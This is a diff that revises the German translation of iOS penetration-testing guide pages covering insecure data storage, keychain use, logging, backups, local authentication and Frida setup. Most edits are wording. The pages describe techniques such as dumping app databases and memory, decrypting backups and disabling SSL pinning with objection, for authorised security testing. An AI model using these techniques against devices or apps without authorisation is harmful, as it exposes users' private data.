-Es ist üblich, dass Anwendungen ihre eigene SQLite-Datenbank erstellen. Sie könnten **sensible** **Daten** darauf **speichern** und sie unverschlüsselt lassen. Daher ist es immer interessant, jede Datenbank im Anwendungsverzeichnis zu überprüfen. Gehen Sie daher zum Anwendungsverzeichnis, in dem die Daten gespeichert sind (`/private/var/mobile/Containers/Data/Application/{APPID}`)
+Es ist üblich, dass Anwendungen ihre eigenen SQLite-Datenbanken erstellen. Sie könnten **sensible** **Daten** darin **speichern** und unverschlüsselt lassen. Daher ist es immer interessant, jede Datenbank im Anwendungsverzeichnis zu überprüfen. Gehen Sie daher zum Anwendungsverzeichnis, in dem die Daten gespeichert sind (`/private/var/mobile/Containers/Data/Application/{APPID}`)
 ```bash
 find ./ -name "*.sqlite" -or -name "*.db"
 ```
@@ -450,7 +450,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
 
 Entwickler können **Daten speichern und synchronisieren** innerhalb einer **NoSQL, cloud-basierten Datenbank** über Firebase Real-Time-Datenbanken. Die Daten werden im JSON-Format gespeichert und in Echtzeit an alle verbundenen Clients synchronisiert.
 
-Hier erfahren Sie, wie Sie nach falsch konfigurierten Firebase-Datenbanken suchen können:
+Hier finden Sie, wie Sie nach falsch konfigurierten Firebase-Datenbanken suchen können:
 
 
 {{#ref}}
@@ -470,7 +470,7 @@ $ find ./ -name "*.realm*"
 ```
 Um diese Datenbankdateien anzuzeigen, wird das [**Realm Studio**](https://github.com/realm/realm-studio) Tool empfohlen.
 
-Um Verschlüsselung innerhalb einer Realm-Datenbank zu implementieren, kann der folgende Code-Snippet verwendet werden:
+Um Verschlüsselung innerhalb einer Realm-Datenbank zu implementieren, kann der folgende Codeausschnitt verwendet werden:
 ```swift
 // Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
 let config = Realm.Configuration(encryptionKey: getKey())
@@ -527,7 +527,7 @@ Diese Methode entfernt alle zwischengespeicherten Anfragen und Antworten aus der
 
 [Apple-Dokumentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
 
-`Ein ephemeres Sitzungs-Konfigurationsobjekt ähnelt einem Standard-Sitzungs-Konfigurationsobjekt (siehe Standard), mit dem Unterschied, dass das entsprechende Sitzungsobjekt keine Caches, Anmeldeinformationen oder andere sitzungsbezogene Daten auf der Festplatte speichert. Stattdessen werden sitzungsbezogene Daten im RAM gespeichert. Das einzige Mal, dass eine ephemere Sitzung Daten auf die Festplatte schreibt, ist, wenn Sie ihr sagen, den Inhalt einer URL in eine Datei zu schreiben.`
+`Ein ephemeres Sitzungs-Konfigurationsobjekt ähnelt einem Standard-Sitzungs-Konfigurationsobjekt (siehe Standard), mit dem Unterschied, dass das entsprechende Sitzungsobjekt keine Caches, Anmeldeinformationen oder andere sitzungsbezogene Daten auf der Festplatte speichert. Stattdessen werden sitzungsbezogene Daten im RAM gespeichert. Das einzige Mal, dass eine ephemere Sitzung Daten auf die Festplatte schreibt, ist, wenn Sie ihr sagen, dass sie den Inhalt einer URL in eine Datei schreiben soll.`
 
 3. Der Cache kann auch deaktiviert werden, indem die Cache-Richtlinie auf [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) gesetzt wird. Dadurch wird das Speichern des Caches in irgendeiner Form, entweder im Speicher oder auf der Festplatte, deaktiviert.
 
@@ -535,7 +535,7 @@ Diese Methode entfernt alle zwischengespeicherten Anfragen und Antworten aus der
 
 Immer wenn Sie die Home-Taste drücken, **nimmt iOS einen Snapshot des aktuellen Bildschirms** auf, um den Übergang zur Anwendung viel reibungsloser zu gestalten. Wenn jedoch **sensible** **Daten** auf dem aktuellen Bildschirm vorhanden sind, werden sie im **Bild** **gespeichert** (das **über** **Neustarts** **hinaus** **besteht**). Dies sind die Snapshots, auf die Sie auch zugreifen können, indem Sie doppelt auf den Home-Bildschirm tippen, um zwischen Apps zu wechseln.
 
-Es sei denn, das iPhone ist jailbroken, muss der **Angreifer** **Zugriff** auf das **Gerät** **entblockt** haben, um diese Screenshots zu sehen. Standardmäßig wird der letzte Snapshot im Sandbox-Verzeichnis der Anwendung im Ordner `Library/Caches/Snapshots/` oder `Library/SplashBoard/Snapshots` gespeichert (vertrauenswürdige Computer können ab iOS 7.0 nicht auf das Dateisystem zugreifen).
+Sofern das iPhone nicht jailbroken ist, muss der **Angreifer** **Zugriff** auf das **Gerät** **entblockt** haben, um diese Screenshots zu sehen. Standardmäßig wird der letzte Snapshot im Sandbox-Verzeichnis der Anwendung im Ordner `Library/Caches/Snapshots/` oder `Library/SplashBoard/Snapshots` gespeichert (vertrauenswürdige Computer können ab iOS 7.0 nicht auf das Dateisystem zugreifen).
 
 Eine Möglichkeit, dieses unerwünschte Verhalten zu verhindern, besteht darin, einen leeren Bildschirm anzuzeigen oder die sensiblen Daten zu entfernen, bevor der Snapshot mit der Funktion `ApplicationDidEnterBackground()` aufgenommen wird.
 
@@ -579,7 +579,7 @@ Für den Zugriff auf und die Verwaltung des iOS-Keychains sind Tools wie [**Keyc
 
 #### **Speichern von Anmeldeinformationen**
 
-Die **NSURLCredential**-Klasse ist ideal, um sensible Informationen direkt im Keychain zu speichern, wodurch die Notwendigkeit für NSUserDefaults oder andere Wrapper umgangen wird. Um Anmeldeinformationen nach dem Login zu speichern, wird der folgende Swift-Code verwendet:
+Die **NSURLCredential**-Klasse ist ideal zum Speichern sensibler Informationen direkt im Keychain, wodurch die Notwendigkeit für NSUserDefaults oder andere Wrapper umgangen wird. Um Anmeldeinformationen nach dem Login zu speichern, wird der folgende Swift-Code verwendet:
 ```swift
 NSURLCredential *credential;
 credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@@ -594,7 +594,7 @@ Mit iOS 8.0 und höher können Benutzer benutzerdefinierte Tastaturerweiterungen
 **Sicherheitsempfehlungen:**
 
 - Es wird empfohlen, Drittanbieter-Tastaturen zur Verbesserung der Sicherheit zu deaktivieren.
-- Seien Sie sich der Autokorrektur- und Auto-Vervollständigungsfunktionen der Standard-iOS-Tastatur bewusst, die sensible Informationen in Cache-Dateien speichern könnten, die sich in `Library/Keyboard/{locale}-dynamic-text.dat` oder `/private/var/mobile/Library/Keyboard/dynamic-text.dat` befinden. Diese Cache-Dateien sollten regelmäßig auf sensible Daten überprüft werden. Es wird empfohlen, das Tastaturwörterbuch über **Einstellungen > Allgemein > Zurücksetzen > Tastaturwörterbuch zurücksetzen** zu löschen, um zwischengespeicherte Daten zu entfernen.
+- Seien Sie sich der Autokorrektur- und Auto-Vervollständigungsfunktionen der Standard-iOS-Tastatur bewusst, die sensible Informationen in Cache-Dateien speichern könnten, die sich in `Library/Keyboard/{locale}-dynamic-text.dat` oder `/private/var/mobile/Library/Keyboard/dynamic-text.dat` befinden. Diese Cache-Dateien sollten regelmäßig auf sensible Daten überprüft werden. Es wird empfohlen, das Tastaturwörterbuch über **Einstellungen > Allgemein > Zurücksetzen > Tastaturwörterbuch zurücksetzen** zurückzusetzen, um zwischengespeicherte Daten zu löschen.
 - Das Abfangen von Netzwerkverkehr kann aufdecken, ob eine benutzerdefinierte Tastatur Tastenanschläge remote überträgt.
 
 ### **Verhindern der Textfeld-Caching**
@@ -617,7 +617,7 @@ Trotz dieser Einschränkungen kann ein **Angreifer mit physischem Zugriff** auf
 
 Um Risiken zu mindern, wird empfohlen, **gründlich mit der App zu interagieren**, alle Funktionen und Eingaben zu erkunden, um sicherzustellen, dass keine sensiblen Informationen versehentlich protokolliert werden.
 
-Bei der Überprüfung des Quellcodes der App auf potenzielle Lecks sollten sowohl **vordefinierte** als auch **benutzerdefinierte Logging-Anweisungen** gesucht werden, indem Schlüsselwörter wie `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` für integrierte Funktionen und alle Erwähnungen von `Logging` oder `Logfile` für benutzerdefinierte Implementierungen verwendet werden.
+Bei der Überprüfung des Quellcodes der App auf potenzielle Lecks sollten sowohl **vordefinierte** als auch **benutzerdefinierte Logging-Anweisungen** gesucht werden, die Schlüsselwörter wie `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` für integrierte Funktionen und alle Erwähnungen von `Logging` oder `Logfile` für benutzerdefinierte Implementierungen verwenden.
 
 ### **Überwachung von Systemprotokollen**
 
@@ -630,10 +630,10 @@ sind nützlich. Darüber hinaus bietet **Xcode** eine Möglichkeit, Konsolenprot
 
 1. Öffnen Sie Xcode.
 2. Schließen Sie das iOS-Gerät an.
-3. Navigieren Sie zu **Fenster** -> **Geräte und Simulatoren**.
+3. Navigieren Sie zu **Window** -> **Devices and Simulators**.
 4. Wählen Sie Ihr Gerät aus.
 5. Lösen Sie das Problem aus, das Sie untersuchen.
-6. Verwenden Sie die Schaltfläche **Konsole öffnen**, um Protokolle in einem neuen Fenster anzuzeigen.
+6. Verwenden Sie die Schaltfläche **Open Console**, um Protokolle in einem neuen Fenster anzuzeigen.
 
 Für fortgeschrittenes Logging kann das Verbinden mit der Geräteshell und die Verwendung von **socat** eine Echtzeit-Protokollüberwachung bieten:
 ```bash
@@ -647,7 +647,7 @@ Folgen Sie den Befehlen, um Protokollaktivitäten zu beobachten, die für die Di
 
 ### Sicherheitsrisiken
 
-Die Einbeziehung von **installierten Apps und deren Daten** in Backups wirft das Problem potenzieller **Datenlecks** auf und das Risiko, dass **Backup-Modifikationen die Funktionalität der App verändern könnten**. Es wird empfohlen, **keine sensiblen Informationen im Klartext** im Verzeichnis einer App oder deren Unterverzeichnissen zu speichern, um diese Risiken zu mindern.
+Die Einbeziehung von **installierten Apps und deren Daten** in Backups wirft das Problem potenzieller **Datenlecks** auf und das Risiko, dass **Backup-Modifikationen die Funktionalität der App ändern könnten**. Es wird empfohlen, **keine sensiblen Informationen im Klartext** im Verzeichnis einer App oder deren Unterverzeichnissen zu speichern, um diese Risiken zu mindern.
 
 ### Ausschluss von Dateien aus Backups
 
@@ -657,7 +657,7 @@ Dateien in `Documents/` und `Library/Application Support/` werden standardmäßi
 
 Um die Backup-Sicherheit einer App zu bewerten, beginnen Sie mit der **Erstellung eines Backups** über den Finder und suchen Sie es dann mithilfe der Anleitung aus [Apples offizieller Dokumentation](https://support.apple.com/en-us/HT204215). Analysieren Sie das Backup auf sensible Daten oder Konfigurationen, die geändert werden könnten, um das Verhalten der App zu beeinflussen.
 
-Sensible Informationen können mit Befehlszeilenwerkzeugen oder Anwendungen wie [iMazing](https://imazing.com) gesucht werden. Bei verschlüsselten Backups kann die Anwesenheit der Verschlüsselung bestätigt werden, indem der "IsEncrypted"-Schlüssel in der "Manifest.plist"-Datei im Stammverzeichnis des Backups überprüft wird.
+Sensible Informationen können mit Befehlszeilentools oder Anwendungen wie [iMazing](https://imazing.com) gesucht werden. Bei verschlüsselten Backups kann die Anwesenheit der Verschlüsselung bestätigt werden, indem der Schlüssel "IsEncrypted" in der Datei "Manifest.plist" im Stammverzeichnis des Backups überprüft wird.
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@@ -670,7 +670,7 @@ Sensible Informationen können mit Befehlszeilenwerkzeugen oder Anwendungen wie
 ...
 </plist>
 ```
-Für den Umgang mit verschlüsselten Backups können Python-Skripte aus dem [DinoSec GitHub-Repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), wie **backup_tool.py** und **backup_passwd.py**, nützlich sein, obwohl möglicherweise Anpassungen für die Kompatibilität mit den neuesten iTunes/Finder-Versionen erforderlich sind. Das [**iOSbackup**-Tool](https://pypi.org/project/iOSbackup/) ist eine weitere Option, um auf Dateien innerhalb von passwortgeschützten Backups zuzugreifen.
+Für den Umgang mit verschlüsselten Backups können Python-Skripte, die im [DinoSec's GitHub-Repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) verfügbar sind, wie **backup_tool.py** und **backup_passwd.py**, nützlich sein, obwohl möglicherweise Anpassungen für die Kompatibilität mit den neuesten iTunes/Finder-Versionen erforderlich sind. Das [**iOSbackup**-Tool](https://pypi.org/project/iOSbackup/) ist eine weitere Option, um auf Dateien innerhalb von passwortgeschützten Backups zuzugreifen.
 
 ### Modifizieren des App-Verhaltens
 
@@ -678,7 +678,7 @@ Ein Beispiel für die Änderung des App-Verhaltens durch Backup-Modifikationen w
 
 ## Zusammenfassung zum Speichertest für sensible Daten
 
-Beim Umgang mit sensiblen Informationen, die im Speicher einer Anwendung gespeichert sind, ist es entscheidend, die Expositionszeit dieser Daten zu begrenzen. Es gibt zwei Hauptansätze, um den Speicherinhalt zu untersuchen: **Erstellen eines Speicherdumps** und **Echtzeitanalyse des Speichers**. Beide Methoden haben ihre Herausforderungen, einschließlich der Möglichkeit, kritische Daten während des Dump-Prozesses oder der Analyse zu übersehen.
+Beim Umgang mit sensiblen Informationen, die im Speicher einer Anwendung gespeichert sind, ist es entscheidend, die Expositionszeit dieser Daten zu begrenzen. Es gibt zwei Hauptansätze zur Untersuchung des Speicherinhalts: **Erstellen eines Speicherdumps** und **Analyse des Speichers in Echtzeit**. Beide Methoden haben ihre Herausforderungen, einschließlich der Möglichkeit, kritische Daten während des Dump-Prozesses oder der Analyse zu übersehen.
 
 ## **Abrufen und Analysieren eines Speicherdumps**
 
@@ -709,15 +709,15 @@ $ r2 frida://usb//<name_of_your_app>
 
 ### Schlechte Schlüsselverwaltungsprozesse
 
-Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht getan werden, da einige Reverse-Engineering-Angriffe es Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
+Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Dies sollte nicht getan werden, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
 
 ### Verwendung unsicherer und/oder veralteter Algorithmen
 
-Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Überprüfungen** durchzuführen, Daten zu **speichern** oder zu **versenden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** verwendet werden, um Passwörter zu speichern, sollten brute-force **resistente** Hashes mit Salt verwendet werden.
+Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Überprüfungen** durchzuführen, Daten zu **speichern** oder zu **versenden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise verwendet werden, um Passwörter zu speichern, sollten brute-force **resistente** Hashes mit Salt verwendet werden.
 
 ### Überprüfung
 
-Die wichtigsten Überprüfungen, die durchgeführt werden sollten, sind, ob Sie **hartcodierte** Passwörter/Geheimnisse im Code finden können, oder ob diese **vorhersehbar** sind, und ob der Code eine Art von **schwachen** **Kryptographie**-Algorithmen verwendet.
+Die wichtigsten Überprüfungen, die durchgeführt werden sollten, sind, ob Sie **hardcodierte** Passwörter/Geheimnisse im Code finden können, oder ob diese **vorhersehbar** sind, und ob der Code eine Art von **schwachen** **Kryptographie**-Algorithmen verwendet.
 
 Es ist interessant zu wissen, dass Sie einige **Krypto**-**Bibliotheken** automatisch mit **objection** überwachen können mit:
 ```swift
@@ -727,13 +727,13 @@ Für **weitere Informationen** zu iOS-Kryptografie-APIs und -Bibliotheken besuch
 
 ## Lokale Authentifizierung
 
-**Lokale Authentifizierung** spielt eine entscheidende Rolle, insbesondere wenn es darum geht, den Zugriff an einem entfernten Endpunkt durch kryptografische Methoden zu sichern. Der Kernpunkt ist, dass lokale Authentifizierungsmechanismen ohne ordnungsgemäße Implementierung umgangen werden können.
+**Lokale Authentifizierung** spielt eine entscheidende Rolle, insbesondere wenn es darum geht, den Zugriff an einem entfernten Endpunkt durch kryptografische Methoden zu sichern. Das Wesentliche hier ist, dass ohne ordnungsgemäße Implementierung lokale Authentifizierungsmechanismen umgangen werden können.
 
-Apples [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) und der [**Schlüsselbund**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bieten robuste APIs für Entwickler, um Benutzer-Authentifizierungsdialoge zu erleichtern und geheime Daten sicher zu verwalten. Die Secure Enclave sichert die Fingerabdruck-ID für Touch ID, während Face ID auf Gesichtserkennung basiert, ohne biometrische Daten zu gefährden.
+Apples [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) und der [**Schlüsselbund**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bieten robuste APIs für Entwickler, um Benutzerauthentifizierungsdialoge zu erleichtern und geheime Daten sicher zu verwalten. Der Secure Enclave sichert die Fingerabdruck-ID für Touch ID, während Face ID auf Gesichtserkennung basiert, ohne biometrische Daten zu gefährden.
 
 Um Touch ID/Face ID zu integrieren, haben Entwickler zwei API-Optionen:
 
-- **`LocalAuthentication.framework`** für die hochgradige Benutzer-Authentifizierung ohne Zugriff auf biometrische Daten.
+- **`LocalAuthentication.framework`** für die hochgradige Benutzerauthentifizierung ohne Zugriff auf biometrische Daten.
 - **`Security.framework`** für den Zugriff auf niedrigere Schlüsselbunddienste, die geheime Daten mit biometrischer Authentifizierung sichern. Verschiedene [Open-Source-Wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) erleichtern den Zugriff auf den Schlüsselbund.
 
 > [!CAUTION]
@@ -743,18 +743,18 @@ Um Touch ID/Face ID zu integrieren, haben Entwickler zwei API-Optionen:
 
 Um Benutzer zur Authentifizierung aufzufordern, sollten Entwickler die **`evaluatePolicy`**-Methode innerhalb der **`LAContext`**-Klasse verwenden und zwischen folgenden Optionen wählen:
 
-- **`deviceOwnerAuthentication`**: Fordert Touch ID oder den Geräte-Passcode an und schlägt fehl, wenn keines von beidem aktiviert ist.
+- **`deviceOwnerAuthentication`**: Fordert Touch ID oder Gerätepasscode an und schlägt fehl, wenn keines aktiviert ist.
 - **`deviceOwnerAuthenticationWithBiometrics`**: Fordert ausschließlich Touch ID an.
 
 Eine erfolgreiche Authentifizierung wird durch einen booleschen Rückgabewert von **`evaluatePolicy`** angezeigt, was auf eine potenzielle Sicherheitsanfälligkeit hinweist.
 
 ### Lokale Authentifizierung mit Schlüsselbund
 
-Die Implementierung der **lokalen Authentifizierung** in iOS-Apps umfasst die Verwendung von **Schlüsselbund-APIs**, um geheime Daten wie Authentifizierungstoken sicher zu speichern. Dieser Prozess stellt sicher, dass die Daten nur vom Benutzer mit seinem Geräte-Passcode oder biometrischer Authentifizierung wie Touch ID abgerufen werden können.
+Die Implementierung der **lokalen Authentifizierung** in iOS-Apps umfasst die Verwendung von **Schlüsselbund-APIs**, um geheime Daten wie Authentifizierungstoken sicher zu speichern. Dieser Prozess stellt sicher, dass die Daten nur vom Benutzer mit seinem Gerätepasscode oder biometrischer Authentifizierung wie Touch ID abgerufen werden können.
 
-Der Schlüsselbund bietet die Möglichkeit, Elemente mit dem Attribut `SecAccessControl` festzulegen, das den Zugriff auf das Element einschränkt, bis der Benutzer erfolgreich über Touch ID oder den Geräte-Passcode authentifiziert. Diese Funktion ist entscheidend für die Verbesserung der Sicherheit.
+Der Schlüsselbund bietet die Möglichkeit, Elemente mit dem Attribut `SecAccessControl` festzulegen, das den Zugriff auf das Element einschränkt, bis der Benutzer erfolgreich über Touch ID oder Gerätepasscode authentifiziert. Diese Funktion ist entscheidend für die Verbesserung der Sicherheit.
 
-Im Folgenden finden Sie Codebeispiele in Swift und Objective-C, die zeigen, wie man einen String im Schlüsselbund speichert und abruft, wobei diese Sicherheitsfunktionen genutzt werden. Die Beispiele zeigen speziell, wie man den Zugriffskontrollmechanismus einrichtet, um eine Touch ID-Authentifizierung zu verlangen und sicherzustellen, dass die Daten nur auf dem Gerät zugänglich sind, auf dem sie eingerichtet wurden, vorausgesetzt, ein Geräte-Passcode ist konfiguriert.
+Im Folgenden finden Sie Codebeispiele in Swift und Objective-C, die zeigen, wie man einen String im Schlüsselbund speichert und abruft, wobei diese Sicherheitsfunktionen genutzt werden. Die Beispiele zeigen speziell, wie man den Zugriffskontrollmechanismus einrichtet, um eine Touch ID-Authentifizierung zu verlangen und sicherzustellen, dass die Daten nur auf dem Gerät zugänglich sind, auf dem sie eingerichtet wurden, vorausgesetzt, ein Gerätepasscode ist konfiguriert.
 
 {{#tabs}}
 {{#tab name="Swift"}}
@@ -885,7 +885,7 @@ Die Verwendung von Frameworks in einer App kann auch durch die Analyse der Liste
 ```bash
 $ otool -L <AppName>.app/<AppName>
 ```
-Wenn `LocalAuthentication.framework` in einer App verwendet wird, enthält die Ausgabe beide der folgenden Zeilen (denken Sie daran, dass `LocalAuthentication.framework` `Security.framework` im Hintergrund verwendet):
+Wenn `LocalAuthentication.framework` in einer App verwendet wird, enthält die Ausgabe beide der folgenden Zeilen (denken Sie daran, dass `LocalAuthentication.framework` unter der Haube `Security.framework` verwendet):
 ```bash
 /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
 /System/Library/Frameworks/Security.framework/Security
@@ -1045,15 +1045,15 @@ Sie können auch **objection's** `ios sslpinning disable` verwenden.
 
 ### Hot Patching/Erzwungene Aktualisierung
 
-Die Entwickler können **alle Installationen ihrer App sofort remote patchen**, ohne die Anwendung erneut im App Store einreichen und auf die Genehmigung warten zu müssen.\
+Die Entwickler können **alle Installationen ihrer App sofort patchen**, ohne die Anwendung erneut im App Store einreichen und auf die Genehmigung warten zu müssen.\
 Zu diesem Zweck wird normalerweise [**JSPatch**](https://github.com/bang590/JSPatch)** verwendet.** Es gibt jedoch auch andere Optionen wie [Siren](https://github.com/ArtSabintsev/Siren) und [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
-**Dies ist ein gefährlicher Mechanismus, der von böswilligen Drittanbieter-SDKs missbraucht werden könnte, daher wird empfohlen, zu überprüfen, welche Methode für die automatische Aktualisierung verwendet wird (falls vorhanden) und sie zu testen.** Sie könnten versuchen, eine frühere Version der App zu diesem Zweck herunterzuladen.
+**Dies ist ein gefährlicher Mechanismus, der von böswilligen Drittanbieter-SDKs missbraucht werden könnte, daher wird empfohlen, zu überprüfen, welche Methode für automatische Updates verwendet wird (falls vorhanden) und diese zu testen.** Sie könnten versuchen, eine frühere Version der App zu diesem Zweck herunterzuladen.
 
 ### Drittanbieter
 
-Eine erhebliche Herausforderung bei **3rd Party SDKs** ist die **fehlende granulare Kontrolle** über ihre Funktionen. Entwickler stehen vor der Wahl: entweder das SDK zu integrieren und alle seine Funktionen zu akzeptieren, einschließlich potenzieller Sicherheitsanfälligkeiten und Datenschutzbedenken, oder auf seine Vorteile vollständig zu verzichten. Oft können Entwickler Sicherheitsanfälligkeiten innerhalb dieser SDKs nicht selbst patchen. Darüber hinaus können einige SDKs, die innerhalb der Community Vertrauen gewinnen, Malware enthalten.
+Eine erhebliche Herausforderung bei **3rd Party SDKs** ist der **Mangel an granularer Kontrolle** über deren Funktionen. Entwickler stehen vor der Wahl: entweder das SDK zu integrieren und alle seine Funktionen zu akzeptieren, einschließlich potenzieller Sicherheitsanfälligkeiten und Datenschutzbedenken, oder auf seine Vorteile vollständig zu verzichten. Oft sind Entwickler nicht in der Lage, Sicherheitsanfälligkeiten innerhalb dieser SDKs selbst zu patchen. Darüber hinaus können einige SDKs, die innerhalb der Community Vertrauen gewinnen, Malware enthalten.
 
-Die von Drittanbieter-SDKs bereitgestellten Dienste können das Tracking des Benutzerverhaltens, die Anzeige von Werbung oder die Verbesserung der Benutzererfahrung umfassen. Dies birgt jedoch ein Risiko, da Entwickler möglicherweise nicht vollständig über den Code informiert sind, der von diesen Bibliotheken ausgeführt wird, was zu potenziellen Datenschutz- und Sicherheitsrisiken führt. Es ist entscheidend, die mit Drittanbieterdiensten geteilten Informationen auf das Notwendige zu beschränken und sicherzustellen, dass keine sensiblen Daten offengelegt werden.
+Die von Drittanbieter-SDKs bereitgestellten Dienste können das Tracking des Benutzerverhaltens, die Anzeige von Werbung oder die Verbesserung der Benutzererfahrung umfassen. Dies birgt jedoch ein Risiko, da Entwickler möglicherweise nicht vollständig über den Code informiert sind, der von diesen Bibliotheken ausgeführt wird, was zu potenziellen Datenschutz- und Sicherheitsrisiken führen kann. Es ist entscheidend, die mit Drittanbieterdiensten geteilten Informationen auf das Notwendige zu beschränken und sicherzustellen, dass keine sensiblen Daten offengelegt werden.
 
 Die Implementierung von Drittanbieterdiensten erfolgt normalerweise in zwei Formen: einer eigenständigen Bibliothek oder einem vollständigen SDK. Um die Privatsphäre der Benutzer zu schützen, sollten alle mit diesen Diensten geteilten Daten **anonymisiert** werden, um die Offenlegung von personenbezogenen Daten (PII) zu verhindern.
 

src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md

@@ -1,4 +1,4 @@
-# iOS Frida Konfiguration
+# iOS Frida-Konfiguration
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -13,7 +13,7 @@
 4. Gehen Sie zur neu hinzugefügten Frida-Quelle.
 5. Installieren Sie das Frida-Paket.
 
-Wenn Sie **Corellium** verwenden, müssen Sie die Frida-Version von [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) herunterladen (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) und entpacken und an den von Frida angeforderten dylib-Standort kopieren, z.B.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
+Wenn Sie **Corellium** verwenden, müssen Sie die Frida-Version von [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) herunterladen (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) und entpacken und an den von Frida angeforderten dylib-Speicherort kopieren, z.B.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
 
 Nach der Installation können Sie auf Ihrem PC den Befehl **`frida-ls-devices`** verwenden und überprüfen, ob das Gerät angezeigt wird (Ihr PC muss darauf zugreifen können).\
 Führen Sie auch **`frida-ps -Uia`** aus, um die laufenden Prozesse des Telefons zu überprüfen.
@@ -22,7 +22,7 @@ Führen Sie auch **`frida-ps -Uia`** aus, um die laufenden Prozesse des Telefons
 
 Überprüfen Sie diesen Blogbeitrag, wie Sie Frida auf nicht-jailbroken Geräten ohne Patchen der App verwenden können: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
 
-## Frida Client Installation
+## Frida-Client-Installation
 
 Installieren Sie **frida tools**:
 ```bash
@@ -58,7 +58,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
 
 <figure><img src="../../images/image (1159).png" alt=""><figcaption></figcaption></figure>
 
-- Alle **verfügbaren** **Klassen** abrufen (nach Zeichenfolge filtern)
+- Alle verfügbaren **Klassen** abrufen (nach Zeichenfolge filtern)
 ```javascript:/tmp/script.js
 // frida -U <program> -l /tmp/script.js
 
@@ -178,7 +178,7 @@ Stalker.flush() // this is important to get all events
 })
 ```
 > [!CAUTION]
-> Dies ist interessant aus Debugging-Sicht, aber für Fuzzing ist es sehr ineffizient, ständig **`.follow()`** und **`.unfollow()`** zu verwenden.
+> Dies ist aus Debugging-Gründen interessant, aber für Fuzzing ist es sehr ineffizient, ständig **`.follow()`** und **`.unfollow()`** zu verwenden.
 
 ## [Fpicker](https://github.com/ttdennis/fpicker)
 

src/mobile-pentesting/ios-pentesting/ios-testing-environment.md

@@ -16,7 +16,7 @@ Die Provisionierungsprofile werden im Telefon unter **`/Library/MobileDevice/Pro
 ## **Simulator**
 
 > [!TIP]
-> Beachten Sie, dass ein **Simulator nicht dasselbe wie ein Emulator ist**. Der Simulator simuliert nur das Verhalten und die Funktionen des Geräts, verwendet sie jedoch nicht tatsächlich.
+> Beachten Sie, dass ein **Simulator nicht dasselbe ist wie ein Emulator**. Der Simulator simuliert lediglich das Verhalten und die Funktionen des Geräts, verwendet sie jedoch nicht tatsächlich.
 
 ### **Simulator**
 
@@ -37,7 +37,7 @@ Um den Simulator zu öffnen, starten Sie Xcode, drücken Sie dann im _Xcode-Tab_
 
 ### Anwendungen im Simulator
 
-Im Verzeichnis `/Users/<username>/Library/Developer/CoreSimulator/Devices` finden Sie alle **installierten Simulatoren**. Wenn Sie auf die Dateien einer Anwendung zugreifen möchten, die in einem der Emulatoren erstellt wurde, kann es schwierig sein, **herauszufinden, in welchem die App installiert ist**. Ein schneller Weg, um **die richtige UID zu finden**, besteht darin, die App im Simulator auszuführen und Folgendes auszuführen:
+Im Verzeichnis `/Users/<username>/Library/Developer/CoreSimulator/Devices` finden Sie alle **installierten Simulatoren**. Wenn Sie auf die Dateien einer Anwendung zugreifen möchten, die in einem der Emulatoren erstellt wurde, kann es schwierig sein zu wissen, **in welchem die App installiert ist**. Ein schneller Weg, um **die richtige UID zu finden**, besteht darin, die App im Simulator auszuführen und Folgendes auszuführen:
 ```bash
 xcrun simctl list | grep Booted
 iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
@@ -76,7 +76,7 @@ Im Gegensatz dazu können iOS-Geräte aufgrund der Einschränkung des Bootloader
 
 ### Herausforderungen beim Jailbreaking
 
-Jailbreaking iOS wird zunehmend schwieriger, da Apple Schwachstellen schnell patcht. **Das Downgrade von iOS** ist nur für eine begrenzte Zeit nach einer Veröffentlichung möglich, was Jailbreaking zu einer zeitkritischen Angelegenheit macht. Geräte, die für Sicherheitstests verwendet werden, sollten nicht aktualisiert werden, es sei denn, das Re-Jailbreaking ist garantiert.
